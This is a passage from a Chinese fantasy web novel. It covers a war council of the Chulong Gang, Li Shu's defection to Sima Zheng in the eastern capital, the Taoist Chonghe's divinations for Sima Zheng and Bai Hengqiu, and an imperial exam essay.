“说得好!”三楼这位中年人再也坐不住,径直起身,却是往楼下去了,一下楼就喊。“刚刚是哪位兄台高论?河间饶阳李义署在此!” “不敢当兄台,颍川尉氏刘仁辙在此。”下方立即起了骚动,然后又是一番喧嚷。 倒是三楼这里,剩下一堆老的面面相觑,想跟着下去也不好意思,想说什么却又不知从何说起,只能各自端酒。 且不说这些人如何空谈江山、纸上论兵,不过很快,他们很想知道的一件事情就交付了答案——九月十三,在科考第一场的前一日,黜龙帮首席张行回到了邺城。 好歹没有让这些文修们去滹沱河,以修河做最后一轮考试。 “哦,不要紧,殷龙头回来了,正好让他接替我修河,据他自己说也擅长这个。”刚刚回到观风院,面对蜂拥而至一群人的询问,张行有一说一。“而且他还将贾务根、苗海浪两位头领带回来了,现在人在登州,消息马上会到。” “太好了!”魏玄定大喜过望。“两位头领能回来真是太好了!” 这句话中间明显卡了一下,在场的人谁不是人精,哪里不晓得魏国主的意思——开战之前,一位大宗师的折返无疑是一个定心丸、压秤砣,是足够鼓舞所有人心的,相较来说,倒是两位头领,说真的,两位头领死在东夷也未必是坏事,也照样能激发士气。 只是话不能那么说罢了! “不错,两位头领能回来是天大的好事。”徐世英接口道。“不知道东夷情境如何?” “不好。”张行正色道。“那位大都督当日回去便重伤难治,这一次殷龙头过去,便察觉他已经十死无生,就是这几个月了……但他活着的时候,并没有把持军政大权不动,而是有意识的让渡军权给了宗室大将王元德,以求在东夷内里完成一个以王元德为主的新平衡,并没有闹出内乱,而王元德那批年轻人算是感受到了郦子期的好意,一心一意要整合东夷打过来。” “话虽如此,不还是晚了吗?”陈斌冷笑道。“他也想不到咱们能在数年内建立这般基业吧?真要打,那就打,便是将来他不来找我们,我们也要去东夷走一遭呢!” “陈公说得好!”刘黑榥在人群后面喊道。 “首席。”陈斌没有理会身后那厮的喊叫,径直来言。“当务之急是大战马上开启,咱们要不要提前召开一场大会,把事情定下……” “可以开一场会,但没必要召集所有人开大会,因为战事说来就来,召唤稍远的领军头领的话会来不及。”张行即刻应许。“就让邺城周边的大小头领们过来,时间定在晚上,以免惊动人心,内容简单一些,不要讨论什么人事之类的,只说军务,也不要表决什么,就是透个气,安下心。” “好。”雄伯南立即应声。“我来召唤人,咱们晚上吞风台上开会。” 众人见说最上头几位定,也都不好多待,便三三五五离开,以待当晚。 人既走,张行也不着急,先写了一封简短信件给贾闰士报喜,信送走后便去洗澡,洗完澡出来月娘已经做好饭,还问啥时候打回东都去? 张三爷也不理会的,只是吃饭,吃完饭也不急,又逗了已经学话的外甥一阵子,便有几位帮务部的文书过来,告知张行,有几位头领要晚一些才能来,因为是夜间,雄伯南建议可以再等一等……张首席彻底无话可说,应许之后干脆去睡觉。 睡了一阵子,时间来到三更,这才察觉到动静,于是抢在喊他的人来到观风院门前起身,然后随着对方顶着已经很圆的双月往吞风台而去。 到了这里,又等了一阵子,眼瞅着单通海也出现在了台上,会议方才开始……人不多,大约四五十个,基本上是大行台各部总管、分管,包括邺城附近的领军头领和地方官也只喊了一半来,靠近前线的根本没喊……整个吞风台上,只有两个人显得有些特殊,一个是单通海,大家没想到他会来,但他正好在巡视河道,考虑到他的地位,所以专程去河畔喊来的;另一个是刚刚从杜破阵那里“骗”来的义子军统帅阚棱,他是第一次出现在这种场合。 “大家都知道了,南方已经交战,咱们跟大英算是正式开战了。”还是传统的环形排列座位,魏玄定见到人齐,立即从最中间起身开始主持会议。“今日只说军务,不谈其他,而且是讨论和通气为主,不做表决……大家有什么言语,都举手,我点名就起来说。” 众人自然有许多想法,但当此一问,竟然有些沉寂……原因很简单,大家都关心战争,但大部分人的对战争的想法都是最基本的忧虑和期盼,也就是月娘那种啥时候打回东都去之类的心思,而不是什么务实的东西,更不是什么专业的东西,自然一时间不知道该说什么。 “有确切开战的时间吗?”停了一下,还是魏玄定自己忍不住开口发问。“不是说咱们有许多内线吗?” “有些情报,可以肯定就是这几天,但没有具体的时间。”代领靖安部的谢鸣鹤坐在座中接口道。“他们从秋收后就开始往上党、晋阳转运物资,还调度了一些部队,一两万的样子,而大约是三四日之前,鱼皆罗从河东转到上党,而且白横秋本人出现在潼关,与此同时,红山各处山道忽然被封锁,我们也不好侦查联络,只天王去看过一回,与鱼皆罗对峙了一阵子,确系是察觉对方在继续往上党增兵和转运物资。” 雄伯南点头认可,众人则议论纷纷,而既有了开头,后面便好说了。 “能不能先发制人?”刘黑榥大声来问。“咱们主动出击,省的在这里疑神疑鬼……听说殷龙头回来了,能不能请他出山,带着我们直接去突袭晋阳?” “没必要,不差这几日。”张行扬声应道。“而且真耗不起的不是咱们。” “请问具体在何处开战?”张世昭忽然问了一个不符合他水平的问题。 “一旦开战,自苦海至江南都要打,不过主战场一定是东都。”徐世英开口应道。“大英跟咱们之间主力交战,断然绕不开东都。” “所以,他们从上党走,也可能是去打东都?”夏侯宁远明显诧异。 “从上党走也可能是打东都,也可能是打我们,但打我们的同时一定有主力兵马去打东都,而且从上党去打东都同时能威胁我们。”徐世英不厌其烦的强调。“至于咱们的主力也一定要去东都。” “可是我们跟东都的盟约没有到期……”谢鸣鹤忽然转变了会议中的身份,反向做了询问。“东都不一定会邀请我们去做抵抗的,我们要破盟吗?” 众人一起看向了素来极为爱惜羽毛的张首席,要不是为这个不战之盟,之前他们就可以提前大半年直接朝东都开战了。 “之前一直拖着是可以不战,但真要是已经开战,就不能束手束脚……到时候不要理会东都,只说我们是去救援。”话到这里,张行顿了一顿。“实际上我们的确是去救援。” “若有机会,不能一口吞了吗?”单通海略显迟疑。 “单龙头糊涂了。”谢鸣鹤笑道。“若是咱们有那个能一口吞了东都的能耐,晚几个月再吞又如何?” “我是说战机……”单通海正色提醒。“若是他们两败俱伤,比如司马正一时真气尽了,而西都那里撤走了,有趁机攻下东都的可能时该如何?” “那也暂时不攻。”张行毫不迟疑给出答复。“还要请千金教主去给司马正治病疗养,好让他下一次继续顶住关西……” 单通海沉默了一下,认真来问:“张首席,你坚持这般作为的缘由在哪里?是不是过于信任李龙头了?” 这话似乎有些莫名其妙,但几位龙头都心知肚明。 张行看了对方一眼,同样认真答复:“我当然信任李龙头,但这般作为的根本缘故不是因为李龙头如何,包括之前拖着不战,本质上是因为关陇跟我们耗不起!咱们只会越来越强,他们却不能自我变革,学着我们继续变强了!” 因为月光直接撒入而并不显得昏暗的吞风台大堂内,不少人精神猛地一振,似乎抓到了面前这场最终战争的要点。 “是说修为吗?”陈斌似乎反应了过来。“当年首席一力坚持,我们提前了五六年强制筑基,现在已经有当年的年轻人可以上阵了,而他们虽然仿效,却只学了一两年,再这么下去,往后四五年,便是我们越来越强的时候,他们却不能连续,反而会因为打仗日渐凋落。” “是这个道理,但也不尽然。”雄伯南缓缓开口。“首席许久前就跟我聊过……关陇之所以为关陇,便是他们以家族连横,专关中乃至于天下之利,并以府兵制度将这种利扩展到极致。所以非只是往后四五年,便是再拖下去,他们也不敢真让这种人人筑基的法子续下去,否则他们内里便要天翻地覆的。” 这两人一说完,便是再不懂军事的,此时也都有些释然,大堂内竟也开始有些重压解开后的嘈杂欢笑之态。 但为首的几位,面色依然冷静,很显然还是有些要害问题没有厘清。 “其实战事的具体事宜,军务部和参谋部不知道做了多少安排和计划,说这些没意思,便是我本人若非殷龙头恰好回来接替修河,也都不愿意回邺城的,可为什么还是回来了呢?当然不是为了吃两顿今年新发的白面馍馍。”张行缓缓开口,似乎是在斟酌字句一般。“而是我晓得,大战前到底需要安抚一下人心,要让本地百姓和下面军士知道我人就在这里,也让你们知道我坚持原定战略的决心……诸位,我知道你们对李定担任总预备不放心,我明白告诉诸位,李四郎我是信得过的,但万一他真要想着脱离控制,或者说真要反了,我就扔下东都亲自去剿灭他!再回头收拾河山!” 原本释然的那些头领十之**又凛然起来,倒是那几位龙头当场呼了一口气出来。 他们要的就是这句话! 当然了,要这句话也就是个心安,并不能起到实际作用,或者更进一步,整个会议都是务虚的通气会,就是为了让人安心而已……实际上呢,战争的主动权似乎依然还是在人家大英手里呢。 这还不算,翌日,就在今年科举开始的第一日,也就是九月十四这天,一个确切的情报随着一个人来到了东都,黜龙帮对此依然一无所知。 “五日后?”昔日靖安台黑塔处,一座新修的七层白塔顶端,司马正看着眼前并不能算是陌生之人,认真追问。 “五日后。”来人低着头,目光似乎有些游移,语气却足够坚定。 “河内?” “河内!” “为什么是河内?”司马正一边问一边看向了外面屋檐下被风吹动的风铃,但很快就将目光收了回来。 “两个原因,一来是白横秋不放心晋地,在韦胜机去了巴蜀的情况下,若是他在弘农被你缠住,黜龙帮以与东都盟约的名义弃东都而全力入晋地,则晋地不可抵挡,出河内可以同时牵制邺城;二来,即便是黜龙帮与东都的不战之约尚存,可区区只残数月的虚名,不足以让两家相互取信,而他既率主力出上党入河内,黜龙帮哪怕是为了防备邺城也要出兵越界来对的,到时候两家自然**,以免东都如南梁一般被动合盟。” “有道理。”司马正想了一想,微微颔首。“李公,我还要一问,不然不敢让你坐。” 那人,也就是李枢了,终于抬起头来微微一笑:“想来也是。” “李公为何来东都?”司马正叹了口气。“或者说,为何不留在大英。” “因为大英确系不能容人。”李枢一声叹气。“我以为自己到底是昔日八柱国之后,到了大英,总有一份香火情,但没想到,昔日跟着杨慎**,家中基业人脉早被其余几家侵吞的干净,对我便有了警惕,又因为黜龙帮的经历,上下也都顾忌,所以回到长安,竟左右不是人,前后都无个座位。后来又请出镇地方,结果到了晋地,名义上是个副使,实际上半点兵权都不让碰,连粮草调度都专门瞒着我,若说我该忍气吞声,等上几年,了此残生,可决定天下走向的大战在前,我又委实不能甘心,所以才抢在白横秋抵达之前逃了出来。” “有道理。”司马正点点头。“可李公就没想过回邺城吗?是怕也遭到这般嫌弃?” 李枢深吸了一口气,复又缓缓叹出:“想过,但张行不纳我,我在邺城的旧交告诉我,张行下了密令,若我回去,就地格杀勿论。” 司马正再三点头:“原来如此,李公且坐。” 李枢这才坐到了旁边的一个空位中……这里空着很多座位。 司马正接下来并没有遮掩:“李公,你能来投,我自然高兴,尤其是东都乏人,但我有一言须与你说个分明,那就是马上开战,东都一定会陷入苦战,不熬过去,什么都没有……” “司马元帅何必如此?”李枢拢手苦笑。“东都是无路可走,我是无处可投,咱们正是般配。” 司马正也笑:“既如此,李公且为兵部侍郎,参赞军务,替我对接南阳,负责调度援军,接应粮草军械。同时监视黜龙帮的济阴与谯郡两行台……” 李枢赶紧起身,拱手称谢。 而司马正端坐不动,直接摆手:“李公且去……本该宴饮尽欢,或者商量军务,但我这还有客人,片刻后我就下去寻你。” 李枢愣了一下,再三拱手下楼而去。 而刚一下楼,司马便扭过头来,透过微微响动的风铃看向七层白塔的外廊……果然,下一刻,一名背着一个花布包裹的青衣老道从外廊走了进来。 司马正站起身来,恭敬一礼:“冲和道长是来取我性命吗?” “这话从何说起呀?”来人,也就是可能是如今天下第一高手 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冲和神色严肃,正色做答:“官家收赋税,百姓不愿缴纳,可实际上收赋税是有一定道理的,不然道路无人养护,河流无人筑堤,灾祸之年无人救济……这个时候官与民也是忤逆的,难道就能直接说官家不对吗?真要说不对,乃是做官的收了赋税却只晓得拿来供养自家,取了民力却只给自己修筑宫殿……司马二郎,你在混淆视听。” “道长说的对。”司马正微微收敛。“可是天不曾暴,我到底为何又逆了?” 冲和一声叹气:“这便是司马二郎你无奈之处了……便拿刚刚的李枢做个比方好了,他是大魏的叛逆,按照大魏律法,活该千刀万剐,可现在大魏亡了,他若在黜龙帮,便是有功德的龙头;若强要自居关陇名族,便是个不相干的路人;结果他竟要重新投靠大魏,岂不是自家把自家捆**?” 司马正微微一笑:“如此说来,下面改朝换代,上面也在天意更迭了?” “是。”冲和迟疑了一下,还是郑重颔首。“而且天意其实是顺着人心更迭的,只是总有人卡在这前后夹缝里,这实在是没办法的事情。” “那么道长的意思是不是,我只要放弃大魏的名号,向着张行或者白横秋拱手而降,便算是顺应天命了?”司马正继续来问。 冲和沉默片刻,轻轻颔首。 司马正都被气笑了:“冲和道长不是来杀我的,是来劝降的?” “我知道阁下不愿意降,但还是想来劝劝,因为阁下委实无辜。”冲和恳切来言。 司马正摇头以对:“我不要谁来可怜我,谁若觉得我是个逆天之人,便请他顺天景命,黜了我吧!” 冲和再三叹气:“我来此之前就晓得劝不动,但还是想来……司马二郎,我替你算上一卦,好也不好?” 司马正眯起眼睛,白塔上风铃摇曳不停,却终究答应下来:“正要瞧瞧什么是天命。” 冲和闻言也不说话,将身后的花布包裹取下,然后摊开放在面前,取出了那几根不知道掷了几回的木棍,轻轻在身前一掷,然后神色微变:“老道还是第一次见这么高的卦象……却也极合阁下。” “请解。”司马正起身向前,来到那几根木棍跟前,方才单手做请。 “此卦有变……介于中初一、次二之间,阁下何妨跺一跺脚,看看有没有变化?”冲和迟疑了一下。 “不必了。”司马正摇头道。“就请道长直言初一、次二吧。” “中初一,为第一卦,曰北海磅礴,幽。此卦名北海之磅礴不可变,之幽邃不可改,是明言阁下思虑之贞,不可动摇。”冲和认真讲解。 “好卦,好准!”司马正想了一想,也不禁幽幽。“不瞒道长,我修为越高,越明天意,越不可动摇。” 冲和叹了口气,继续来言:“中次二,为第二卦,曰神战于玄,其陈阴阳……这是说阁下的举动,善恶并其中,难以评说。” “倒也有些道理,只是为何不是说我此番力战,将如神战于玄,阴阳自分一般,善恶由我定呢?”司马正继续来问。 冲和沉默了片刻,没有再计较,而是将地上的棍子收拾起来,准备离开。 人走到外面廊下,司马正忽然再度开口:“冲和道长,你说我逆天是因为天意流转,起了变化……可是,我在旧日天意中,果然就是顺天之人吗?” 冲和停步,难得黯然,片刻后,他没有回答这个问题,而是背对着对方回答了前一个问题:“不是说不能以己力定善恶,但是邺城有一个张三郎,他其实也有你这般疑难,却比你能合众力,如今天下三分有其一,已然动摇了天意,便是与你类似的白三娘、李四郎,还有窦立德、雄伯南、杜破阵、徐世英这些人,也都借着黜龙帮拔出泥淖,自得天命了……司马二郎,你若想自证天命,先要灭了这些豪杰的天命,再说其他!” 司马正怔了一下,旋即失笑:“所以,冲和道长到底是为哪家说降?” 冲和没有再说什么,只背着花布包裹翻过栏杆,踏着空荡荡的秋风而走。 司马正立在原地,隔了许久,方才转身下楼备战去了。 且不提关西与东都已经进入战时状态,黜龙帮这边依然还在热热闹闹,甚至有鲜花着锦、烈火烹油之态,最当先的就是这次科考。 没错,人家冲和道长在与司马讨论天命的时候,他们正在考试。 先考基础的文学、数学、**、历史、地理(包括天文)、通识,其中通识占了双倍的分数,里面既有张行认知的基础物理学,也有风俗礼法的题目,所有试题分上下两场,一天考完……不过这些科目都是最基础最基础的那种,用来做筛选的,很难想象一个天之骄子会倒在这些科目上。 然后第二天分科,上午是高阶的数学、刑律、社会议题、军事讨论,很多题目都是各部总管、分管出的,结合了大量实例,也未必有一个确切的答案,只是要给出方案而已……这就是所谓分流加上难度了,把人才梯度给拉开。 最后下午,就是喜闻乐见的策论。 这一日,张行专门换上一身红色的锦衣,头发用真气梳洗的闪亮,武士冠上挂着白狼尾,弯刀横在腰间,六合靴上都插着一把金锥,然后七八个鲸骨牌钉好,坐在吞风台第一次启用的那个大殿的上首,亲自当监考。 怎么说呢,很给面子就是了。 一个时辰而已,就有人陆续提前交卷,也不知道是不是想博一下,让张首席先看一眼。 当然,张行没看,看的是张世昭,他看完后倒是专门去寻已经躲到殿外台地上吹风的张首席了。 “怎么说?”张行看着来人,不由笑问。 “挺好的,无论是年轻人还是这些年纪大的,都晓得什么是与时俱进了……无论是哪个,都有首席你红山上那些言语的讨论,什么专天下之利必败,全天下之利者得天下……人心还是归附的,大家也都信能赢。”张世昭言语轻松。 “那张公你呢?”张行好奇以对。“你信不信?” “我不信,但我觉得可以试一试。”张世昭诚恳以对。“所以便是不信我也愿意助你……” 张行失笑:“张公信的是推陈出新。” “是,不能用旧法子,这才是关键。”张世昭点束手望着漳水叹气,然后忽然扭头。“首席。” “张公请讲。”张行隐约意识到什么。 “你是不是想要让殷公去助李龙头出苦海,断巫地,以攻关陇之背?”张世昭认真来问。 “是。”张行坦诚以对。“我在北地的处置,多是为了这个,所以我知道瞒不住阁下,而且马上也没必要瞒着了。” 张世昭回头看了眼满殿学子,继续认真来言:“首席,这番事业我其实做的挺好,而且接下来这些年轻文修只会越来越多,按照咱们之前的计较还要设立郡学与郡考,把文教宣的体系都建立起来……怎么都是个大成就,我的位置也不免水涨船高,到时候与我个龙头也未尝不可,是也不是?” “是。” “但我现在不想做了,我想去北地,随李四郎出苦海以定巫地。”张世昭愈发诚恳。“我这个人,可以不做大官,但不兴风作浪是万万不可的。” 张行对着漳水仰头大笑,笑完之后方才应许:“可以,但你走了,后继者谁来做?” “可以让冯无佚先接任,他的资历、威望足够,然后让萧余、许敬祖这两人做副手……首席,大战开启,如风搏浪,有些条条框框可以解开的。”张世昭俨然早有准备。“便是卢思道,我看他也渐渐跃跃欲试了,可以等开战后以事从急权启用他,他一定不会再推辞。” “好。”张行立即颔首,而且转身郑重拱手一礼。“我许了,请阁下务必兴疾风作巨浪。” 张世昭难得振奋,也当场郑重回礼,引得后方大殿内数百考生侧目以对。 定下这个以后,张行面色如常,继续回到了眼下的议题上:“先交的策论中有人提及修河吗?” “有。”张世昭愣了一下,即刻转身回殿中挑了一份试卷出来,稍作介绍。“修河惠及整个河北,说的人其实不少,但大多数都只是说惠及民生得民力,只有这一份最得文采。” 张行接过来,打开试卷……原来,今日的策论原题便是《明何以胜英?》……而这个士子的答卷果然出彩,先说利天下者得天下这个基本的指导思想的,再论黜龙帮种种制度,然后说人力物力,偏重全然不在军事。 尤其是最后一段,委实胜过了帮内许多人: “今英主气势汹汹,合兵甲之利,宗师之威,睥睨天下,似以天下决战,将在东都、在晋地、在江南、在南阳,殊不知,天下决战,实在滹沱河堤、在邺城市场、在科考笔尖、在历山英魂。有此类,大英用人,如用柴薪,大明用人,如燃火炬。大英举兵,似安步当车,大明稳坐,如安车当步。 所谓力有悬殊,势有大小,今黜龙帮全压关陇,安有不胜之理?” 张行认真看完,直接揭开糊名,看清楚是颍川刘仁辙,关注点立即偏了:“颍川不是东都所领吗?” 张世昭当即摊手:“颍川跟济阴那边一马平川,司马正还能起个城墙不许人家过来?” 张行这才大笑,就点了点这份试卷,交回了对方……竟丝毫不晓得,战争已经到来。 PS:大家三八妇女节快乐。 第八十一章 安车行(10) 风高云淡潼关路,冲和道长背着自己的包裹大踏步走在大河之上,与他方向相逆的波浪仿佛什么柔软的布垫一般,非但没有形成阻碍,反而成为了他行走的助力。 这种行为,似乎任何一个宗师都能做到,但必然会光芒四射、真气四溢,可在这个青衣道士这里却真真如履平地,丝毫没有什么动静,好像真就是一个人走在水面上一般。 走了不知道多久,大约在王屋山下的地界,这位当世第一高手忽然止步,停在了河面上。而须臾片刻,一道辉光划过,落在了他的前方河面上,来人正是冲和道长的至交好友,大英皇帝白横秋。 出乎意料,两人虽然相识日久,太白峰又在长安附近,此番冲和去东都明显又在劝降,可此时相见,竟有些对峙姿态。 过了许久,还是一身华衣的白横秋开口:“道兄,东都一行如何?” 冲和缓缓摇头:“他虽身为遗蜕,却也是一个活活生的人,而且是聪慧之人,既窥得天机,便起了**之心,如何能说动?” “他晓得自己是遗蜕了?”白横秋微微变色。 “看他言语,应该是早就晓得了。” “可若是他真起了**之心,如何还要死守着这天元之地?天元不是他命中注定的卸甲之地吗?”白横秋复又不解起来。“降了,走了,不就行了?” “因为人家**之心更强烈,就是要坐在这里,横戈以待,看你们谁能把他这套盔甲穿上去……” “这不就是屈从于天命吗?” “因为他觉得自己没做错什么,凭什么就要为他人做铠甲?” “天命可畏!”白横秋摇头叹息。“真真可畏!这般英俊奇才,明明晓得是怎么一回事,却还是坠入其中,然后反而觉得自己在**天命!” 冲和拢手不语。 白横秋叹完,复又来看身前之人,也是许久不语。 过了一阵子,还是冲和不耐:“白皇帝,你来截我,只为问此事?” “道兄,你此番只去东都便折回,未曾去邺城吗?”白横秋从容追问道。 “此番确实没有。”冲和正色道。“我没想好三一正教与黜龙帮的关系是主要的缘故,而大战在即,担心过去会引发误会也是有的。” “道兄这番修为,怕是引发不了误会吧?”白横秋嗤笑道。“之前数年,你不是多次去河北吗?他们连察觉都无。” “此一时彼一时。”冲和依旧严肃。“黜龙帮真切黜了吞风君之后,气势大增,上至首席张行,下至寻常踏白骑,修为皆有响动,更兼此时那位大司命恰好在河北,他的立场可不是淮西那位能比的,我一身如何能当?” “道兄。”白横秋也敛容道。“你一身难当,可你我加一起,这天下何人能当?若是再加上韦二郎,咱们三人一如既往,哪怕是他们把漳水三台都立起来,天下亦可踏破!” “一如既往……”冲和难得思虑悠悠。“当年咱们三人一起远游,踏遍巴蜀西岭,求索天地秘辛,可彼时你是一个闲散的关陇子弟,我是一个未曾列名的愚笨道士,韦二郎更是个只晓得翻山越岭的牵驴货郎,无牵无挂,什么阵仗不敢闯?可是如今呢?” “如今又如何?”白横秋在河面上负手向前。“如今我和韦二郎不也是并肩子走吗?只差你一人!” “老白你何必避实就虚?”冲和正色道。“韦二郎如今只求一个大宗师的契机,跟你一起打仗顺理成章,可你我呢?你如今负关陇气运,我负三一正教的气运……咱们还能轻易合流吗?” “听道兄的意思是,想要买你,须买三一正教?”白横秋沉默片刻,略显迟疑来问。 “不是买三一正教。”冲和肃然指天。“是要顺三辉而行!或者老道我更坦荡一些,是要摒除所谓旧日四御的天意,重新做过!” 白横秋默然不语。 “你看,你晓得天意在变化中,而旧日天意有利于你,所以舍不得,对也不对?”冲和不由叹气。 “张行的黜龙帮难道就弃了旧日四御的天意?”白横秋忽然反问。“他不也是不舍得自己的黑帝点选的身份?此番能这样赳赳,难道不是凭空得了黑帝爷为他准备的荡魔卫与北地?再说了,你我皆知,他背后指不定是什么邪魔外道呢!” “这事得分开来说,我当然知道他是攥紧了黑帝爷的便宜,所以当然也不会因为他起了个大明的国号便去助他。”冲和依旧肃然。“至于什么邪魔外道,咱们心知肚明,这事没那么简单,决不可以轻易下论调,说不得那才是真正的至尊呢。最后,咱们说的是咱们的事情,你也晓得我的脾气,拿他人做筏,岂不可笑?” 白横秋笑了笑:“道兄啊道兄,你便是修为通天,做了天下第一人,陆地上的神仙,可到底还是个道士,放不下自己的道统。” “你不是也一样,知道了那么多事情,修为也到了这般厉害,却始终还是那个关陇子弟,一心想着家族兴盛,想着宫廷权谋,想着操弄天下。”冲和丝毫不退。 “如此说来,咱们竟还是都是当年形状了?一辈子是个道士,一辈子做个贵族子弟?”白横秋想了一想,似乎是觉得滑稽。“可为什么就不能同行了呢?” 冲和也略有失神,但片刻后,他还是没话找话一般接了半句:“依我看,便是有人要借吞风台立塔,也不是张行,他志气高得很。” 说完,似乎觉得自己已经尽到了朋友义务,便径直起步,从对方身侧踏浪走过去。 也就是他转到对方身后那一刻,白横秋忽然又开口了:“道兄,你有没有想过,天下大势将决,非此即彼,三一正教若不能选择,将来无论谁得胜,都要侧目相对的。” 冲和背对着对方立定,然后昂然指天:“三辉流转,亘古不变,谁胜谁负,都要遵而从之,何来非此即彼?” 白横秋叹了口气:“那最后问道兄一件事,三辉固然亘古不变,可你身为三一掌教却只此一身,难道没想过就在你手里让辉光更盛?况且,你手握那个木偶,占卜之术天下无双……” “就是因为占卜之术天下无双,所以才晓得不该用木偶来做此类占卜。”冲和肃然道。“否则必然招祸,正教也要在我手里再蹉跎的。” “可古往今来战前占卜又是怎么回事?” “那是阵卜,自然做得……你要老道帮你做吗?”冲和继续来问。“不过说实话,我在东都为司马二郎做了两次人卜,已经大约猜到这次阵卜的结果了。” “你这么说,我也猜到了。”白横秋转身笑道。“但还是劳烦道兄替我辛苦一回吧。” 冲和一声不吭,就在水面上蹲下,取出包裹里的木棍,然后当着对方的面轻松一掷……结果,木棍落在下面波浪之上,翻滚一番,竟然往河堤沉去,好在大宗师在这里,复又轻松捞起,再掷,再度翻滚沉底,三掷,方才浮在水面,定了个形状,然后散开。 “前两卦很清楚,乃是贤上九之卦。”冲和捏起木棍认真解释道。 “这我知道。”白横秋抬头望着一侧王屋山接口道。“崇崇高山,下有川波,其人有辑航,可与过其。测曰:高山大川,不辑航不克也……这是说东都之势如大山如名川,如果不准备妥当、不小心翼翼的航行是过不去的,所以前两次是打不下东都的……是也不是?” 冲和沉默片刻,点头道:“算是这个意思,但二三未必是确数。” “这是自然,但最终还是过了这山河?”白横秋继续来问。 “第三卦是闲次八之象,所谓赤臭播关,大君不闲,克国乘家……克国乘家就不说了,赤臭播关的意思正是**之象。”冲和认真解释。“也就是说,多次小心翼翼、准备完全的尝试后,第三次,可以**、克国、乘家!” 白横秋仰天一叹:“这跟我想的一样……司马正到底是天命遗蜕,还有大魏遗留精华,更兼黜龙帮大军在侧,不可能一次就打下东都,须得磋磨苦战多次,唯独他到底是天命不可违,抑或说大势不可逆,东都一隅不可能抗拒天下,所以迟早要败,换做我这里,便是要打**多少回,苦战多次方能得……道兄,到了我这个份上,只怕一件事,那就是年岁日长,不能拖延,所以要从速从疾,方可成大事!这是好卦,也是坏卦!但我认了!” 冲和收拾好东西,只是默然不语。 “道兄,若朕做得东都**之人,披上这副盔甲,届时请你再来助朕一臂之力。”白横秋恳切至极。 冲和一声不吭,背起包裹逆着河道往西面而去。白横秋目送对方离开,却转向北面王屋山,翻山而入晋地。 两人既走,王屋山依然不动,大河水流依旧翻滚不停。 顺着水流的方向,一路向东,便是白横秋的目标,也是冲和来时的地方,那里名为东都,其实是天下正中,是这个世界天然的首都,而现在,大魏本该烟消云散的最后残余却在此地获得了一名惊才绝伦的领袖。 很多人认为,即便如此,也不过是让这个兵家必争之地变得难啃一些罢了,因为经历三征与江都军变后,大魏已经彻底丧失了**号召力,而东都一隅兵力再强,将领再横,那也是无源之水无本之木,迟早被耗尽;但也有不少人认为,司马正虽然穷蹙,但毕竟有力且壮,司马氏在关陇内部影响力也极强,而相对应的,白横秋虽然占了先机,控了关中与巴蜀,成为了关陇领袖,但他毕竟年长,唯一像样的女儿也离了她,一旦熬过几场,待白横秋气力不支,司马氏未必不能取而代之。 实际上,司马正把控东都这几年,关陇人物在两边流动性很强,如鱼皆罗这种老牌宗师趁机投奔胜面更大的白氏那边固然是常态,可一些关陇世族不得志的年轻人跑到东都效力也是有的。 “关中看起来气势汹汹,但其实万马齐喑,不过是皇帝自家是个大宗师,压着大家不敢出声罢了。”当日夜间,正式启动了战争模式的东都城西北侧西苑内,临时布置了一场晚宴以酬大家白日辛苦,司马正主持,下方则坐了上百文武,而此时出声的,正是一名窦氏子弟,唤作窦僚,他就是从西都过来的。 “窦都尉这话是有道理的。”窦僚刚说完,旁边的一人开口,赫然是薛常雄长子薛万论。“我弟在西都,常有言语,说下面其实暗流涌动,只是无人敢动罢了……若是那位在东都兵败,下面必然更加离心离德,若是真到了老迈伤痛的时候,必然有变!” 这话刚说完,旁边便有人笑出声,却正是牛方盛:“薛侍郎此言极是,可咱们关陇一脉,哪个不是自家虚了就被人饿虎扑食的?还用你专门来说?” 众人一起干笑起来,但半晌之后还是压抑不住的演变成了哄笑,连主位上的司马正与今日主宾李枢都掌不住,最后真真是哄堂大笑一场。 毕竟嘛,一来这事确实好笑,关陇世族内部这种典型的丛林法则和表面上的这层皮,数百年的乱世和大魏荒唐的二世而亡,无不充斥着某种对立的滑稽,尤其是这些人本身就在其中;二来,东都这些人,这些年过得极为压抑……不止是说东都最弱小,他们的军事压力最大,而是说,他们作为关陇子弟,生在大魏兴盛年代,成长在大魏土崩瓦解之间,哪个不心累,哪个不被时局压得喘不过气来? 个个都以为天下要太平了,结果乱世兜头砸了下来! 笑完之后,还是张长宣稍微正经了一些:“白氏眼下的麻烦有两个……一个是白三娘过于出挑,偏偏又走了,以至于那位白公明明有许多其他子女,却无一能得上下认可,偏偏白氏又家大业大,旁支嫡出的,分了好几个房、多少个家,其中肯定有英杰,少不得如之前那几家一般闹出内乱;第二个则是如今大英最受信重的大将兼方面之人,竟然是之前跟关陇毫无干系的一个人,两边凑不到一块去,平白生疑。” “这是实话。” “话虽如此,可他到底是大宗师,皇帝身兼大宗师,一日在,便一日安稳。” “没说现在图他。” “先守住再说吧!” 众人纷纷感慨,普遍性赞同之前的分析,但言语中却有些飘忽,俨然还是对即将到来的战争信心不足……似乎是想表达什么,却不好直接说一般。 而且,目光也都渐渐集中在了最上首那个人身上,此时正值月中,双月并下,更兼现场点了许多西苑库中根本烧不完的蜡烛,所以便是没有修为的人也能看清楚这位东都主人的表情。 司马正笑了笑,他当然知道这些人要问什么,且事到临头也不准备遮掩,但刚要说话,目光扫到座中一人,却又不禁好奇:“李公,你在想什么?” 李枢回过神来,不由失笑:“诸位刚刚一直说大英那里是万马齐喑,是白横秋靠着大宗师修为压住的,我也是正经关陇出身,帮着天下仲姓造过反的,如何不信?只是刚刚想到,其实不止是西面,东面也是万马齐喑的。” 众人这才都凛然起来。 司马正也来了兴趣:“怎么说?” “张行这个人,修为上自然差了白横秋一头,家世更不必说,但他有两个手段,堪称独步天下,一个建设我们帮内架构,调解各家矛盾;另一个便是能时时刻刻利用人事、方略、胜败去拉拢人……前者是让帮内上下都要围绕着他这个首席来运作,这也是他为什么当初一定要把我压下去的缘故,后者则是让人信服于他。”李枢正色道。“而他这两个本事如此强横,以至于让人以为黜龙帮上下团结一致,甚至有人以为黜龙帮的制度更胜于往日那些旧制。” “所以,黜龙帮内里不团结?”司马正微微眯眼。 “当然。”李枢叹了口气。“黜龙帮如今的态势,其实也全靠张行一人撑着……他在,黜龙帮便是上下一体,真真腾云驾雾,如真龙起势,他若不在,怕是要从人事上便要散架的……不说别的,白三娘与李四郎这二人一南一北,其实全都系于张行一人身上,是张行用来压制大行台的秤砣,若张行一日不在,这二人会服从大行台新选的徐大郎或者雄天王?或者选了他二人,大行台的人能服膺?” 在座不少人都颔首,前面说的还不够清楚,这个例子足以说动大部分人。 